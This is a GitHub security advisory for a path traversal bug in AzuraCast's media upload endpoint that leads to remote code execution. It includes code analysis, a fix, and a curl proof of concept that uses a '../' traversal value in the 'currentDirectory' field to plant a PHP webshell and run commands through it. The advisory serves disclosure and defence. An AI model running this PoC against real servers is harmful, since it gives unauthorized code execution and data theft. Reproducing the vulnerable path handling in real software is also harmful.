GitHub Advisoryadvisory · Packagist

GHSA-vp2f-cqqp-478j AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

HIGH Published 2026-05-04 Modified 2026-05-13 Official page ↗
Aliases
CVE-2026-42605
Ecosystem
Packagist
Packages
azuracast/azuracast
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-22
Reviewed
2026-05-04

Affected packages

• Packagist azuracast/azuracast: < 0.23.6 → fixed in 0.23.6

Description

Summary The `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. Details In `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83: ```php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory')); $destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; } ``` While `$flowResponse->getClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended after this sanitization, reintroducing traversal capability. This `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`: ```php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes } ``` The `finally` block writes the file to the traversed path regardless of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates. For local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`: ```php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ } ``` `getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This bypasses the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root. Note: `RemoteFilesystem::upload()` uses `$this->writeStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable. The route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins. PoC Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions: Step 1: Upload a PHP webshell via path traversal ```bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer " \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "[email protected]" ``` Where `shell.php` contains: ```php ``` Expected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block. Step 2: Execute commands via the webshell ```bash curl "http://localhost/shell.php?cmd=id" ``` Expected output: ``` uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast) ``` Impact • Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. • Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. • Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. • Data Exfiltration: All station data, user credentials, and application secrets become accessible. Recommended Fix Sanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames: ```php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory')); // With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) ); ``` Additionally, harden `LocalFilesystem::upload()` to normalize paths before use: ```php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../ $destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() ); if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } } ``` Also sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.

Related

Alias · CVE (1)

  • CVE-2026-42605 AzuraCast is a self-hosted, all-in-one web radio management suite. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References